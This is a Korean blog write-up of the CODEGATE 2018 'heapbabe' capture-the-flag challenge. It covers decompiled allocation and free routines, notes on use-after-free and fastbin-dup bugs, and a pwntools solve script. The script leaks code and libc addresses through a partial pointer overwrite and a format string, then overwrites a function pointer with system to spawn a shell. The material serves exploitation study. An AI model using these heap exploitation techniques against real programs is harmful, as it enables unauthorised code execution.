ipwn
[CODAGATE 2018] heapbabe 본문
보호기법
다 걸려있다.
분석
void __cdecl alloc() { signed int i; // [rsp+4h] [rbp-102Ch] heap *ptr; // [rsp+8h] [rbp-1028h] char *alloc_buf; // [rsp+10h] [rbp-1020h] size_t nbytes; // [rsp+18h] [rbp-1018h] size_t read_buf_len; // [rsp+18h] [rbp-1018h] char read_buf[4096]; // [rsp+20h] [rbp-1010h] unsigned __int64 v6; // [rsp+1028h] [rbp-8h] v6 = __readfsqword(0x28u); ptr = malloc(0x20uLL); printf("- size : "); nbytes = read_int(); if ( nbytes <= 0x1000 ) { printf("- contents : "); if ( read(0, read_buf, nbytes) == -1 ) { puts("** Invalid contents **"); exit(1); } read_buf_len = strlen(read_buf); if ( read_buf_len > 0xF ) { alloc_buf = malloc(read_buf_len); if ( !alloc_buf ) { puts("** Failed to malloc **"); exit(1); } strncpy(alloc_buf, read_buf, read_buf_len); *ptr->buf = alloc_buf; ptr->func = free_ref; } else { strncpy(ptr->buf, read_buf, read_buf_len); ptr->func = free_self; } ptr->nbytes = read_buf_len; for ( i = 0; i <= 7; ++i ) { if ( !heap_arr[i].freed ) // freed라면 ptr 집어넣음 { heap_arr[i].freed = 1; heap_arr[i].heap = ptr; break; } } if ( i == 8 ) { puts("** No more space to alloc... **"); (ptr->func)(ptr, read_buf); } } else { puts("** Invalid size **"); free(ptr); } } |
0. 기본적으로 0x20 size heap allocate
1. heap은 전역변수로 관리
2. 0xf보다 size가 크면 기본적으로 allocate 된 heap 안에 heap allocate -> malloc한 heap안에 heap pointer 집어넣음.
3. 그렇지 않으면 그냥 기본적으로 allocate 된 heap에 쭉 이어적음 -> heap overflow는 나지 않음.
4. any size allocatable -> 모든 기법들을 고려해야 함.
5. 기본적으로 allocate 된 heap 안에 함수 포인터 집어넣음. -> overwrite 할 vector가 있지 않을까?
void __fastcall free_ref(void **a1) { free(*a1); free(a1); } |
void __fastcall free_self(void *a1) { free(a1); } |
free_ref과 free_self는 각각 위와 같은 구조.
void __cdecl delete() { int idx; // [rsp+Ch] [rbp-D4h] char buf[192]; // [rsp+10h] [rbp-D0h] unsigned __int64 v2; // [rsp+D8h] [rbp-8h] v2 = __readfsqword(0x28u); printf("- id : "); idx = read_int(); if ( idx >= 0 && idx <= 16 ) { if ( heap_arr[idx].heap ) // free됐는지 검사 X { printf("Type 'DELETE' if you really want to free : "); read(0, buf, 0xC0uLL); if ( !strncmp(buf, "DELETE", 6uLL) ) { (heap_arr[idx].heap->func)(heap_arr[idx].heap, "DELETE"); heap_arr[idx].freed = 0; } else { puts("Cancelled."); } } else { puts("** No buffer exists **"); } } else { puts("** Invalid id **"); } } |
0. free됐는지 검사 X -> fastbin dup등등 여러 기법들 사용 가능
1. function pointer로 함수 call함 -> 함수 포인터를 조작하면 되지 않을까?
2. free 한 후에 전역 변수에서 heap pointer를 남겨놓음
시나리오
libc_leak ?
만들어진 함수 중에는 heap contents 내용을 print해주는 함수가 따로 없음.
How to ?
0. fastbin dup 혹은 Use-After-Free 로 function pointer가 들어있는 heap을 overwrite할 수 있음.
1. PIE를 우회 해야 원하는 함수를 실행하도록 flow를 조작할 수 있음.
2. PIE, aslr이 걸려있더라도 하위 1.5byte가 일정함을 이용해 하위 1byte만 덮어서 원하는 함수를 call하는 부분으로 바꿔줄 수 있음
3. 위를 통해서 code base leak
4. 똑같은 방법으로 libc도 leak
Exploit ?
0x68등, 원하는 size만큼 할당한 heap은 double free가 불가능 함 -> malloc_hook 못 덮음
How to ?
0. 0x20의 기본 allocate 된 heap은 fastbin duplicate 할 수 있음
1. 기본 allocate 된 heap의 function pointer을 system or one_shot gadget으로 overwrite
2. Get Shell!
solve.py
from pwn import * p = process('./heapbabe') def add(size, contents): p.sendlineafter('> ', 'A') p.sendlineafter(':', str(size)) p.sendafter(':', contents) def free(idx): p.sendlineafter('> ', 'F') p.sendlineafter(':', str(idx)) p.sendafter(':', 'DELETE') cmd = '/bin/sh;' #code_leak add(0xf, "\x00") # 0 add(0xf, "\x00") # 1 free(0) free(1) free(0) add(0x20, "A"*0x18 + "\xaa") free(1) p.recvuntil('A'*0x18) code_base = u64(p.recv(6) + '\x00\x00') - 0xcaa printf = code_base + 0xDF0 log.info('code_base : ' + hex(code_base)) log.info('printf : ' + hex(printf)) free(0) #code_leak #libc_leak add(0x20, '%4$lx'*4 + 'AAAA' + p64(printf)) free(1) p.recv(1) p.sendline('') libc_base = int(p.recv(12),16) - 0x5ca700 system = libc_base + 0x45390 log.info('libc_base : ' + hex(libc_base)) log.info('system : ' + hex(system)) free(0) #libc_leak #exploit add(0x20, cmd + 'A'*(0x20 - 0x8 - len(cmd)) + p64(system)) # 0 free(1) #exploit p.interactive() |
'CTF's > CODEGATE' 카테고리의 다른 글
[CODEGATE 2019] aeiou (0) | 2019.03.17 |
---|---|
[CODEGATE 2015] yocto (RTDL) (0) | 2019.01.05 |
[CODEGATE 2018] catshop (0) | 2018.05.17 |
[CODEGATE 2018] betting (0) | 2018.05.17 |
[CODEGATE 2016] bugbug (0) | 2018.03.26 |